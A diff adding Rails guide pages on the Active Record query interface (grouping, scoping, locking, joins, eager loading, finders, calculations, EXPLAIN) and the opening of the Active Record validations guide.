+will return instead a maximum of 5 clients beginning with the 31st. The SQL looks like:
+
+```sql
+SELECT * FROM clients LIMIT 5 OFFSET 30
+```
+
+Group
+-----
+
+To apply a `GROUP BY` clause to the SQL fired by the finder, you can specify the `group` method on the find.
+
+For example, if you want to find a collection of the dates orders were created on:
+
+```ruby
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").group("date(created_at)")
+```
+
+And this will give you a single `Order` object for each date where there are orders in the database.
+
+The SQL that would be executed would be something like this:
+
+```sql
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+```
+
+Having
+------
+
+SQL uses the `HAVING` clause to specify conditions on the `GROUP BY` fields. You can add the `HAVING` clause to the SQL fired by the `Model.find` by adding the `:having` option to the find.
+
+For example:
+
+```ruby
+Order.select("date(created_at) as ordered_date, sum(price) as total_price").
+ group("date(created_at)").having("sum(price) > ?", 100)
+```
+
+The SQL that would be executed would be something like this:
+
+```sql
+SELECT date(created_at) as ordered_date, sum(price) as total_price
+FROM orders
+GROUP BY date(created_at)
+HAVING sum(price) > 100
+```
+
+This will return single order objects for each day, but only those that are ordered more than $100 in a day.
+
+Overriding Conditions
+---------------------
+
+### `except`
+
+You can specify certain conditions to be excepted by using the `except` method. For example:
+
+```ruby
+Post.where('id > 10').limit(20).order('id asc').except(:order)
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM posts WHERE id > 10 LIMIT 20
+```
+
+### `unscope`
+
+The `except` method does not work when the relation is merged. For example:
+
+```ruby
+Post.comments.except(:order)
+```
+
+will still have an order if the order comes from a default scope on Comment. In order to remove all ordering, even from relations which are merged in, use unscope as follows:
+
+```ruby
+Post.order('id DESC').limit(20).unscope(:order) = Post.limit(20)
+Post.order('id DESC').limit(20).unscope(:order, :limit) = Post.all
+```
+
+You can additionally unscope specific where clauses. For example:
+
+```ruby
+Post.where(:id => 10).limit(1).unscope(:where => :id, :limit).order('id DESC') = Post.order('id DESC')
+```
+
+### `only`
+
+You can also override conditions using the `only` method. For example:
+
+```ruby
+Post.where('id > 10').limit(20).order('id desc').only(:order, :where)
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM posts WHERE id > 10 ORDER BY id DESC
+```
+
+### `reorder`
+
+The `reorder` method overrides the default scope order. For example:
+
+```ruby
+class Post < ActiveRecord::Base
+ ..
+ ..
+ has_many :comments, order: 'posted_at DESC'
+end
+
+Post.find(10).comments.reorder('name')
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM posts WHERE id = 10 ORDER BY name
+```
+
+In case the `reorder` clause is not used, the SQL executed would be:
+
+```sql
+SELECT * FROM posts WHERE id = 10 ORDER BY posted_at DESC
+```
+
+### `reverse_order`
+
+The `reverse_order` method reverses the ordering clause if specified.
+
+```ruby
+Client.where("orders_count > 10").order(:name).reverse_order
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM clients WHERE orders_count > 10 ORDER BY name DESC
+```
+
+If no ordering clause is specified in the query, the `reverse_order` orders by the primary key in reverse order.
+
+```ruby
+Client.where("orders_count > 10").reverse_order
+```
+
+The SQL that would be executed:
+
+```sql
+SELECT * FROM clients WHERE orders_count > 10 ORDER BY clients.id DESC
+```
+
+This method accepts **no** arguments.
+
+Null Relation
+-------------
+
+The `none` method returns a chainable relation with no records. Any subsequent conditions chained to the returned relation will continue generating empty relations. This is useful in scenarios where you need a chainable response to a method or a scope that could return zero results.
+
+```ruby
+Post.none # returns an empty Relation and fires no queries.
+```
+
+```ruby
+# The visible_posts method below is expected to return a Relation.
+ at posts = current_user.visible_posts.where(name: params[:name])
+
+def visible_posts
+ case role
+ when 'Country Manager'
+ Post.where(country: country)
+ when 'Reviewer'
+ Post.published
+ when 'Bad User'
+ Post.none # => returning [] or nil breaks the caller code in this case
+ end
+end
+```
+
+Readonly Objects
+----------------
+
+Active Record provides `readonly` method on a relation to explicitly disallow modification of any of the returned objects. Any attempt to alter a readonly record will not succeed, raising an `ActiveRecord::ReadOnlyRecord` exception.
+
+```ruby
+client = Client.readonly.first
+client.visits += 1
+client.save
+```
+
+As `client` is explicitly set to be a readonly object, the above code will raise an `ActiveRecord::ReadOnlyRecord` exception when calling `client.save` with an updated value of _visits_.
+
+Locking Records for Update
+--------------------------
+
+Locking is helpful for preventing race conditions when updating records in the database and ensuring atomic updates.
+
+Active Record provides two locking mechanisms:
+
+* Optimistic Locking
+* Pessimistic Locking
+
+### Optimistic Locking
+
+Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An `ActiveRecord::StaleObjectError` exception is thrown if that has occurred and the update is ignored.
+
+**Optimistic locking column**
+
+In order to use optimistic locking, the table needs to have a column called `lock_version` of type integer. Each time the record is updated, Active Record increments the `lock_version` column. If an update request is made with a lower value in the `lock_version` field than is currently in the `lock_version` column in the database, the update request will fail with an `ActiveRecord::StaleObjectError`. Example:
+
+```ruby
+c1 = Client.find(1)
+c2 = Client.find(1)
+
+c1.first_name = "Michael"
+c1.save
+
+c2.name = "should fail"
+c2.save # Raises an ActiveRecord::StaleObjectError
+```
+
+You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict.
+
+This behavior can be turned off by setting `ActiveRecord::Base.lock_optimistically = false`.
+
+To override the name of the `lock_version` column, `ActiveRecord::Base` provides a class attribute called `locking_column`:
+
+```ruby
+class Client < ActiveRecord::Base
+ self.locking_column = :lock_client_column
+end
+```
+
+### Pessimistic Locking
+
+Pessimistic locking uses a locking mechanism provided by the underlying database. Using `lock` when building a relation obtains an exclusive lock on the selected rows. Relations using `lock` are usually wrapped inside a transaction for preventing deadlock conditions.
+
+For example:
+
+```ruby
+Item.transaction do
+ i = Item.lock.first
+ i.name = 'Jones'
+ i.save
+end
+```
+
+The above session produces the following SQL for a MySQL backend:
+
+```sql
+SQL (0.2ms) BEGIN
+Item Load (0.3ms) SELECT * FROM `items` LIMIT 1 FOR UPDATE
+Item Update (0.4ms) UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1
+SQL (0.8ms) COMMIT
+```
+
+You can also pass raw SQL to the `lock` method for allowing different types of locks. For example, MySQL has an expression called `LOCK IN SHARE MODE` where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option:
+
+```ruby
+Item.transaction do
+ i = Item.lock("LOCK IN SHARE MODE").find(1)
+ i.increment!(:views)
+end
+```
+
+If you already have an instance of your model, you can start a transaction and acquire the lock in one go using the following code:
+
+```ruby
+item = Item.first
+item.with_lock do
+ # This block is called within a transaction,
+ # item is already locked.
+ item.increment!(:views)
+end
+```
+
+Joining Tables
+--------------
+
+Active Record provides a finder method called `joins` for specifying `JOIN` clauses on the resulting SQL. There are multiple ways to use the `joins` method.
+
+### Using a String SQL Fragment
+
+You can just supply the raw SQL specifying the `JOIN` clause to `joins`:
+
+```ruby
+Client.joins('LEFT OUTER JOIN addresses ON addresses.client_id = clients.id')
+```
+
+This will result in the following SQL:
+
+```sql
+SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id
+```
+
+### Using Array/Hash of Named Associations
+
+WARNING: This method only works with `INNER JOIN`.
+
+Active Record lets you use the names of the [associations](association_basics.html) defined on the model as a shortcut for specifying `JOIN` clause for those associations when using the `joins` method.
+
+For example, consider the following `Category`, `Post`, `Comments` and `Guest` models:
+
+```ruby
+class Category < ActiveRecord::Base
+ has_many :posts
+end
+
+class Post < ActiveRecord::Base
+ belongs_to :category
+ has_many :comments
+ has_many :tags
+end
+
+class Comment < ActiveRecord::Base
+ belongs_to :post
+ has_one :guest
+end
+
+class Guest < ActiveRecord::Base
+ belongs_to :comment
+end
+
+class Tag < ActiveRecord::Base
+ belongs_to :post
+end
+```
+
+Now all of the following will produce the expected join queries using `INNER JOIN`:
+
+#### Joining a Single Association
+
+```ruby
+Category.joins(:posts)
+```
+
+This produces:
+
+```sql
+SELECT categories.* FROM categories
+ INNER JOIN posts ON posts.category_id = categories.id
+```
+
+Or, in English: "return a Category object for all categories with posts". Note that you will see duplicate categories if more than one post has the same category. If you want unique categories, you can use `Category.joins(:posts).uniq`.
+
+#### Joining Multiple Associations
+
+```ruby
+Post.joins(:category, :comments)
+```
+
+This produces:
+
+```sql
+SELECT posts.* FROM posts
+ INNER JOIN categories ON posts.category_id = categories.id
+ INNER JOIN comments ON comments.post_id = posts.id
+```
+
+Or, in English: "return all posts that have a category and at least one comment". Note again that posts with multiple comments will show up multiple times.
+
+#### Joining Nested Associations (Single Level)
+
+```ruby
+Post.joins(comments: :guest)
+```
+
+This produces:
+
+```sql
+SELECT posts.* FROM posts
+ INNER JOIN comments ON comments.post_id = posts.id
+ INNER JOIN guests ON guests.comment_id = comments.id
+```
+
+Or, in English: "return all posts that have a comment made by a guest."
+
+#### Joining Nested Associations (Multiple Level)
+
+```ruby
+Category.joins(posts: [{comments: :guest}, :tags])
+```
+
+This produces:
+
+```sql
+SELECT categories.* FROM categories
+ INNER JOIN posts ON posts.category_id = categories.id
+ INNER JOIN comments ON comments.post_id = posts.id
+ INNER JOIN guests ON guests.comment_id = comments.id
+ INNER JOIN tags ON tags.post_id = posts.id
+```
+
+### Specifying Conditions on the Joined Tables
+
+You can specify conditions on the joined tables using the regular [Array](#array-conditions) and [String](#pure-string-conditions) conditions. [Hash conditions](#hash-conditions) provides a special syntax for specifying conditions for the joined tables:
+
+```ruby
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where('orders.created_at' => time_range)
+```
+
+An alternative and cleaner syntax is to nest the hash conditions:
+
+```ruby
+time_range = (Time.now.midnight - 1.day)..Time.now.midnight
+Client.joins(:orders).where(orders: {created_at: time_range})
+```
+
+This will find all clients who have orders that were created yesterday, again using a `BETWEEN` SQL expression.
+
+Eager Loading Associations
+--------------------------
+
+Eager loading is the mechanism for loading the associated records of the objects returned by `Model.find` using as few queries as possible.
+
+**N + 1 queries problem**
+
+Consider the following code, which finds 10 clients and prints their postcodes:
+
+```ruby
+clients = Client.limit(10)
+
+clients.each do |client|
+ puts client.address.postcode
+end
+```
+
+This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 (to find 10 clients) + 10 (one per each client to load the address) = **11** queries in total.
+
+**Solution to N + 1 queries problem**
+
+Active Record lets you specify in advance all the associations that are going to be loaded. This is possible by specifying the `includes` method of the `Model.find` call. With `includes`, Active Record ensures that all of the specified associations are loaded using the minimum possible number of queries.
+
+Revisiting the above case, we could rewrite `Client.limit(10)` to use eager load addresses:
+
+```ruby
+clients = Client.includes(:address).limit(10)
+
+clients.each do |client|
+ puts client.address.postcode
+end
+```
+
+The above code will execute just **2** queries, as opposed to **11** queries in the previous case:
+
+```sql
+SELECT * FROM clients LIMIT 10
+SELECT addresses.* FROM addresses
+ WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10))
+```
+
+### Eager Loading Multiple Associations
+
+Active Record lets you eager load any number of associations with a single `Model.find` call by using an array, hash, or a nested hash of array/hash with the `includes` method.
+
+#### Array of Multiple Associations
+
+```ruby
+Post.includes(:category, :comments)
+```
+
+This loads all the posts and the associated category and comments for each post.
+
+#### Nested Associations Hash
+
+```ruby
+Category.includes(posts: [{comments: :guest}, :tags]).find(1)
+```
+
+This will find the category with id 1 and eager load all of the associated posts, the associated posts' tags and comments, and every comment's guest association.
+
+### Specifying Conditions on Eager Loaded Associations
+
+Even though Active Record lets you specify conditions on the eager loaded associations just like `joins`, the recommended way is to use [joins](#joining-tables) instead.
+
+However if you must do this, you may use `where` as you would normally.
+
+```ruby
+Post.includes(:comments).where("comments.visible" => true)
+```
+
+This would generate a query which contains a `LEFT OUTER JOIN` whereas the `joins` method would generate one using the `INNER JOIN` function instead.
+
+```ruby
+ SELECT "posts"."id" AS t0_r0, ... "comments"."updated_at" AS t1_r5 FROM "posts" LEFT OUTER JOIN "comments" ON "comments"."post_id" = "posts"."id" WHERE (comments.visible = 1)
+```
+
+If there was no `where` condition, this would generate the normal set of two queries.
+
+If, in the case of this `includes` query, there were no comments for any posts, all the posts would still be loaded. By using `joins` (an INNER JOIN), the join conditions **must** match, otherwise no records will be returned.
+
+Scopes
+------
+
+Scoping allows you to specify commonly-used queries which can be referenced as method calls on the association objects or models. With these scopes, you can use every method previously covered such as `where`, `joins` and `includes`. All scope methods will return an `ActiveRecord::Relation` object which will allow for further methods (such as other scopes) to be called on it.
+
+To define a simple scope, we use the `scope` method inside the class, passing the query that we'd like to run when this scope is called:
+
+```ruby
+class Post < ActiveRecord::Base
+ scope :published, -> { where(published: true) }
+end
+```
+
+This is exactly the same as defining a class method, and which you use is a matter of personal preference:
+
+```ruby
+class Post < ActiveRecord::Base
+ def self.published
+ where(published: true)
+ end
+end
+```
+
+Scopes are also chainable within scopes:
+
+```ruby
+class Post < ActiveRecord::Base
+ scope :published, -> { where(published: true) }
+ scope :published_and_commented, -> { published.where("comments_count > 0") }
+end
+```
+
+To call this `published` scope we can call it on either the class:
+
+```ruby
+Post.published # => [published posts]
+```
+
+Or on an association consisting of `Post` objects:
+
+```ruby
+category = Category.first
+category.posts.published # => [published posts belonging to this category]
+```
+
+### Passing in arguments
+
+Your scope can take arguments:
+
+```ruby
+class Post < ActiveRecord::Base
+ scope :created_before, ->(time) { where("created_at < ?", time) }
+end
+```
+
+This may then be called using this:
+
+```ruby
+Post.created_before(Time.zone.now)
+```
+
+However, this is just duplicating the functionality that would be provided to you by a class method.
+
+```ruby
+class Post < ActiveRecord::Base
+ def self.created_before(time)
+ where("created_at < ?", time)
+ end
+end
+```
+
+Using a class method is the preferred way to accept arguments for scopes. These methods will still be accessible on the association objects:
+
+```ruby
+category.posts.created_before(time)
+```
+
+### Merging of scopes
+
+Just like `where` clauses scopes are merged using `AND` conditions.
+
+```ruby
+class User < ActiveRecord::Base
+ scope :active, -> { where state: 'active' }
+ scope :inactive, -> { where state: 'inactive' }
+end
+
+```ruby
+User.active.inactive
+# => SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'inactive'
+```
+
+We can mix and match `scope` and `where` conditions and the final sql
+will have all conditions joined with `AND` .
+
+```ruby
+User.active.where(state: 'finished')
+# => SELECT "users".* FROM "users" WHERE "users"."state" = 'active' AND "users"."state" = 'finished'
+```
+
+If we do want the `last where clause` to win then `Relation#merge` can
+be used .
+
+```ruby
+User.active.merge(User.inactive)
+# => SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+One important caveat is that `default_scope` will be overridden by
+`scope` and `where` conditions.
+
+```ruby
+class User < ActiveRecord::Base
+ default_scope { where state: 'pending' }
+ scope :active, -> { where state: 'active' }
+ scope :inactive, -> { where state: 'inactive' }
+end
+
+User.all
+# => SELECT "users".* FROM "users" WHERE "users"."state" = 'pending'
+
+User.active
+# => SELECT "users".* FROM "users" WHERE "users"."state" = 'active'
+
+User.where(state: 'inactive')
+# => SELECT "users".* FROM "users" WHERE "users"."state" = 'inactive'
+```
+
+As you can see above the `default_scope` is being overridden by both
+`scope` and `where` conditions.
+
+
+### Applying a default scope
+
+If we wish for a scope to be applied across all queries to the model we can use the
+`default_scope` method within the model itself.
+
+```ruby
+class Client < ActiveRecord::Base
+ default_scope { where("removed_at IS NULL") }
+end
+```
+
+When queries are executed on this model, the SQL query will now look something like
+this:
+
+```sql
+SELECT * FROM clients WHERE removed_at IS NULL
+```
+
+If you need to do more complex things with a default scope, you can alternatively
+define it as a class method:
+
+```ruby
+class Client < ActiveRecord::Base
+ def self.default_scope
+ # Should return an ActiveRecord::Relation.
+ end
+end
+```
+
+### Removing All Scoping
+
+If we wish to remove scoping for any reason we can use the `unscoped` method. This is
+especially useful if a `default_scope` is specified in the model and should not be
+applied for this particular query.
+
+```ruby
+Client.unscoped.all
+```
+
+This method removes all scoping and will do a normal query on the table.
+
+Note that chaining `unscoped` with a `scope` does not work. In these cases, it is
+recommended that you use the block form of `unscoped`:
+
+```ruby
+Client.unscoped {
+ Client.created_before(Time.zone.now)
+}
+```
+
+Dynamic Finders
+---------------
+
+For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called `first_name` on your `Client` model for example, you get `find_by_first_name` for free from Active Record. If you have a `locked` field on the `Client` model, you also get `find_by_locked` and methods.
+
+You can specify an exclamation point (`!`) on the end of the dynamic finders to get them to raise an `ActiveRecord::RecordNotFound` error if they do not return any records, like `Client.find_by_name!("Ryan")`
+
+If you want to find both by name and locked, you can chain these finders together by simply typing "`and`" between the fields. For example, `Client.find_by_first_name_and_locked("Ryan", true)`.
+
+Find or Build a New Object
+--------------------------
+
+It's common that you need to find a record or create it if it doesn't exist. You can do that with the `find_or_create_by` and `find_or_create_by!` methods.
+
+### `find_or_create_by`
+
+The `find_or_create_by` method checks whether a record with the attributes exists. If it doesn't, then `create` is called. Let's see an example.
+
+Suppose you want to find a client named 'Andy', and if there's none, create one. You can do so by running:
+
+```ruby
+Client.find_or_create_by(first_name: 'Andy')
+# => #<Client id: 1, first_name: "Andy", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+```
+
+The SQL generated by this method looks like this:
+
+```sql
+SELECT * FROM clients WHERE (clients.first_name = 'Andy') LIMIT 1
+BEGIN
+INSERT INTO clients (created_at, first_name, locked, orders_count, updated_at) VALUES ('2011-08-30 05:22:57', 'Andy', 1, NULL, '2011-08-30 05:22:57')
+COMMIT
+```
+
+`find_or_create_by` returns either the record that already exists or the new record. In our case, we didn't already have a client named Andy so the record is created and returned.
+
+The new record might not be saved to the database; that depends on whether validations passed or not (just like `create`).
+
+Suppose we want to set the 'locked' attribute to true if we're
+creating a new record, but we don't want to include it in the query. So
+we want to find the client named "Andy", or if that client doesn't
+exist, create a client named "Andy" which is not locked.
+
+We can achieve this in two ways. The first is to use `create_with`:
+
+```ruby
+Client.create_with(locked: false).find_or_create_by(first_name: 'Andy')
+```
+
+The second way is using a block:
+
+```ruby
+Client.find_or_create_by(first_name: 'Andy') do |c|
+ c.locked = false
+end
+```
+
+The block will only be executed if the client is being created. The
+second time we run this code, the block will be ignored.
+
+### `find_or_create_by!`
+
+You can also use `find_or_create_by!` to raise an exception if the new record is invalid. Validations are not covered on this guide, but let's assume for a moment that you temporarily add
+
+```ruby
+validates :orders_count, presence: true
+```
+
+to your `Client` model. If you try to create a new `Client` without passing an `orders_count`, the record will be invalid and an exception will be raised:
+
+```ruby
+Client.find_or_create_by!(first_name: 'Andy')
+# => ActiveRecord::RecordInvalid: Validation failed: Orders count can't be blank
+```
+
+### `find_or_initialize_by`
+
+The `find_or_initialize_by` method will work just like
+`find_or_create_by` but it will call `new` instead of `create`. This
+means that a new model instance will be created in memory but won't be
+saved to the database. Continuing with the `find_or_create_by` example, we
+now want the client named 'Nick':
+
+```ruby
+nick = Client.find_or_initialize_by(first_name: 'Nick')
+# => <Client id: nil, first_name: "Nick", orders_count: 0, locked: true, created_at: "2011-08-30 06:09:27", updated_at: "2011-08-30 06:09:27">
+
+nick.persisted?
+# => false
+
+nick.new_record?
+# => true
+```
+
+Because the object is not yet stored in the database, the SQL generated looks like this:
+
+```sql
+SELECT * FROM clients WHERE (clients.first_name = 'Nick') LIMIT 1
+```
+
+When you want to save it to the database, just call `save`:
+
+```ruby
+nick.save
+# => true
+```
+
+Finding by SQL
+--------------
+
+If you'd like to use your own SQL to find records in a table you can use `find_by_sql`. The `find_by_sql` method will return an array of objects even if the underlying query returns just a single record. For example you could run this query:
+
+```ruby
+Client.find_by_sql("SELECT * FROM clients
+ INNER JOIN orders ON clients.id = orders.client_id
+ ORDER clients.created_at desc")
+```
+
+`find_by_sql` provides you with a simple way of making custom calls to the database and retrieving instantiated objects.
+
+### `select_all`
+
+`find_by_sql` has a close relative called `connection#select_all`. `select_all` will retrieve objects from the database using custom SQL just like `find_by_sql` but will not instantiate them. Instead, you will get an array of hashes where each hash indicates a record.
+
+```ruby
+Client.connection.select_all("SELECT * FROM clients WHERE id = '1'")
+```
+
+### `pluck`
+
+`pluck` can be used to query a single or multiple columns from the underlying table of a model. It accepts a list of column names as argument and returns an array of values of the specified columns with the corresponding data type.
+
+```ruby
+Client.where(active: true).pluck(:id)
+# SELECT id FROM clients WHERE active = 1
+# => [1, 2, 3]
+
+Client.distinct.pluck(:role)
+# SELECT DISTINCT role FROM clients
+# => ['admin', 'member', 'guest']
+
+Client.pluck(:id, :name)
+# SELECT clients.id, clients.name FROM clients
+# => [[1, 'David'], [2, 'Jeremy'], [3, 'Jose']]
+```
+
+`pluck` makes it possible to replace code like
+
+```ruby
+Client.select(:id).map { |c| c.id }
+# or
+Client.select(:id).map(&:id)
+# or
+Client.select(:id, :name).map { |c| [c.id, c.name] }
+```
+
+with
+
+```ruby
+Client.pluck(:id)
+# or
+Client.pluck(:id, :name)
+```
+
+### `ids`
+
+`ids` can be used to pluck all the IDs for the relation using the table's primary key.
+
+```ruby
+Person.ids
+# SELECT id FROM people
+```
+
+```ruby
+class Person < ActiveRecord::Base
+ self.primary_key = "person_id"
+end
+
+Person.ids
+# SELECT person_id FROM people
+```
+
+Existence of Objects
+--------------------
+
+If you simply want to check for the existence of the object there's a method called `exists?`. This method will query the database using the same query as `find`, but instead of returning an object or collection of objects it will return either `true` or `false`.
+
+```ruby
+Client.exists?(1)
+```
+
+The `exists?` method also takes multiple ids, but the catch is that it will return true if any one of those records exists.
+
+```ruby
+Client.exists?(1,2,3)
+# or
+Client.exists?([1,2,3])
+```
+
+It's even possible to use `exists?` without any arguments on a model or a relation.
+
+```ruby
+Client.where(first_name: 'Ryan').exists?
+```
+
+The above returns `true` if there is at least one client with the `first_name` 'Ryan' and `false` otherwise.
+
+```ruby
+Client.exists?
+```
+
+The above returns `false` if the `clients` table is empty and `true` otherwise.
+
+You can also use `any?` and `many?` to check for existence on a model or relation.
+
+```ruby
+# via a model
+Post.any?
+Post.many?
+
+# via a named scope
+Post.recent.any?
+Post.recent.many?
+
+# via a relation
+Post.where(published: true).any?
+Post.where(published: true).many?
+
+# via an association
+Post.first.categories.any?
+Post.first.categories.many?
+```
+
+Calculations
+------------
+
+This section uses count as an example method in this preamble, but the options described apply to all sub-sections.
+
+All calculation methods work directly on a model:
+
+```ruby
+Client.count
+# SELECT count(*) AS count_all FROM clients
+```
+
+Or on a relation:
+
+```ruby
+Client.where(first_name: 'Ryan').count
+# SELECT count(*) AS count_all FROM clients WHERE (first_name = 'Ryan')
+```
+
+You can also use various finder methods on a relation for performing complex calculations:
+
+```ruby
+Client.includes("orders").where(first_name: 'Ryan', orders: {status: 'received'}).count
+```
+
+Which will execute:
+
+```sql
+SELECT count(DISTINCT clients.id) AS count_all FROM clients
+ LEFT OUTER JOIN orders ON orders.client_id = client.id WHERE
+ (clients.first_name = 'Ryan' AND orders.status = 'received')
+```
+
+### Count
+
+If you want to see how many records are in your model's table you could call `Client.count` and that will return the number. If you want to be more specific and find all the clients with their age present in the database you can use `Client.count(:age)`.
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Average
+
+If you want to see the average of a certain number in one of your tables you can call the `average` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.average("orders_count")
+```
+
+This will return a number (possibly a floating point number such as 3.14159265) representing the average value in the field.
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Minimum
+
+If you want to find the minimum value of a field in your table you can call the `minimum` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.minimum("age")
+```
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Maximum
+
+If you want to find the maximum value of a field in your table you can call the `maximum` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.maximum("age")
+```
+
+For options, please see the parent section, [Calculations](#calculations).
+
+### Sum
+
+If you want to find the sum of a field for all records in your table you can call the `sum` method on the class that relates to the table. This method call will look something like this:
+
+```ruby
+Client.sum("orders_count")
+```
+
+For options, please see the parent section, [Calculations](#calculations).
+
+Running EXPLAIN
+---------------
+
+You can run EXPLAIN on the queries triggered by relations. For example,
+
+```ruby
+User.where(id: 1).joins(:posts).explain
+```
+
+may yield
+
+```
+EXPLAIN for: SELECT `users`.* FROM `users` INNER JOIN `posts` ON `posts`.`user_id` = `users`.`id` WHERE `users`.`id` = 1
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | |
+| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------------+
+2 rows in set (0.00 sec)
+```
+
+under MySQL.
+
+Active Record performs a pretty printing that emulates the one of the database
+shells. So, the same query running with the PostgreSQL adapter would yield instead
+
+```
+EXPLAIN for: SELECT "users".* FROM "users" INNER JOIN "posts" ON "posts"."user_id" = "users"."id" WHERE "users"."id" = 1
+ QUERY PLAN
+------------------------------------------------------------------------------
+ Nested Loop Left Join (cost=0.00..37.24 rows=8 width=0)
+ Join Filter: (posts.user_id = users.id)
+ -> Index Scan using users_pkey on users (cost=0.00..8.27 rows=1 width=4)
+ Index Cond: (id = 1)
+ -> Seq Scan on posts (cost=0.00..28.88 rows=8 width=4)
+ Filter: (posts.user_id = 1)
+(6 rows)
+```
+
+Eager loading may trigger more than one query under the hood, and some queries
+may need the results of previous ones. Because of that, `explain` actually
+executes the query, and then asks for the query plans. For example,
+
+```ruby
+User.where(id: 1).includes(:posts).explain
+```
+
+yields
+
+```
+EXPLAIN for: SELECT `users`.* FROM `users` WHERE `users`.`id` = 1
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
+| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
+| 1 | SIMPLE | users | const | PRIMARY | PRIMARY | 4 | const | 1 | |
++----+-------------+-------+-------+---------------+---------+---------+-------+------+-------+
+1 row in set (0.00 sec)
+
+EXPLAIN for: SELECT `posts`.* FROM `posts` WHERE `posts`.`user_id` IN (1)
++----+-------------+-------+------+---------------+------+---------+------+------+-------------+
+| id | select_type | table | type | possible_keys | key | key_len | ref | rows | Extra |
++----+-------------+-------+------+---------------+------+---------+------+------+-------------+
+| 1 | SIMPLE | posts | ALL | NULL | NULL | NULL | NULL | 1 | Using where |
++----+-------------+-------+------+---------------+------+---------+------+------+-------------+
+1 row in set (0.00 sec)
+```
+
+under MySQL.
+
+### Interpreting EXPLAIN
+
+Interpretation of the output of EXPLAIN is beyond the scope of this guide. The
+following pointers may be helpful:
+
+* SQLite3: [EXPLAIN QUERY PLAN](http://www.sqlite.org/eqp.html)
+
+* MySQL: [EXPLAIN Output Format](http://dev.mysql.com/doc/refman/5.6/en/explain-output.html)
+
+* PostgreSQL: [Using EXPLAIN](http://www.postgresql.org/docs/current/static/using-explain.html)
diff --git a/guides/source/active_record_validations.md b/guides/source/active_record_validations.md
new file mode 100644
index 0000000..df39d3c
--- /dev/null
+++ b/guides/source/active_record_validations.md
@@ -0,0 +1,1169 @@
+Active Record Validations
+=========================
+
+This guide teaches you how to validate the state of objects before they go into
+the database using Active Record's validations feature.
+
+After reading this guide, you will know:
+
+* How to use the built-in Active Record validation helpers.
+* How to create your own custom validation methods.
+* How to work with the error messages generated by the validation process.
+
+--------------------------------------------------------------------------------
+
+Validations Overview
+--------------------
+
+Here's an example of a very simple validation:
+
+```ruby
+class Person < ActiveRecord::Base
+ validates :name, presence: true
+end
+
+Person.create(name: "John Doe").valid? # => true
+Person.create(name: nil).valid? # => false
+```
+
+As you can see, our validation lets us know that our `Person` is not valid
+without a `name` attribute. The second `Person` will not be persisted to the
+database.
+
+Before we dig into more details, let's talk about how validations fit into the
+big picture of your application.
+
+### Why Use Validations?
+
+Validations are used to ensure that only valid data is saved into your
+database. For example, it may be important to your application to ensure that
+every user provides a valid email address and mailing address. Model-level
+validations are the best way to ensure that only valid data is saved into your
+database. They are database agnostic, cannot be bypassed by end users, and are
+convenient to test and maintain. Rails makes them easy to use, provides
+built-in helpers for common needs, and allows you to create your own validation
+methods as well.
+
+There are several other ways to validate data before it is saved into your
+database, including native database constraints, client-side validations,
+controller-level validations. Here's a summary of the pros and cons:
+
+* Database constraints and/or stored procedures make the validation mechanisms
+ database-dependent and can make testing and maintenance more difficult.
+ However, if your database is used by other applications, it may be a good
+ idea to use some constraints at the database level. Additionally,
+ database-level validations can safely handle some things (such as uniqueness
+ in heavily-used tables) that can be difficult to implement otherwise.
+* Client-side validations can be useful, but are generally unreliable if used
+ alone. If they are implemented using JavaScript, they may be bypassed if
+ JavaScript is turned off in the user's browser. However, if combined with
+ other techniques, client-side validation can be a convenient way to provide
+ users with immediate feedback as they use your site.
+* Controller-level validations can be tempting to use, but often become
+ unwieldy and difficult to test and maintain. Whenever possible, it's a good
+ idea to keep your controllers skinny, as it will make your application a
+ pleasure to work with in the long run.
+
+Choose these in certain, specific cases. It's the opinion of the Rails team
+that model-level validations are the most appropriate in most circumstances.
+
+### When Does Validation Happen?
+
+There are two kinds of Active Record objects: those that correspond to a row
+inside your database and those that do not. When you create a fresh object, for
+example using the `new` method, that object does not belong to the database
+yet. Once you call `save` upon that object it will be saved into the
+appropriate database table. Active Record uses the `new_record?` instance
+method to determine whether an object is already in the database or not.
+Consider the following simple Active Record class:
+
+```ruby
+class Person < ActiveRecord::Base
+end
+```
+
+We can see how it works by looking at some `rails console` output:
+
+```ruby
+$ rails console
+>> p = Person.new(name: "John Doe")
+=> #<Person id: nil, name: "John Doe", created_at: nil, updated_at: nil>
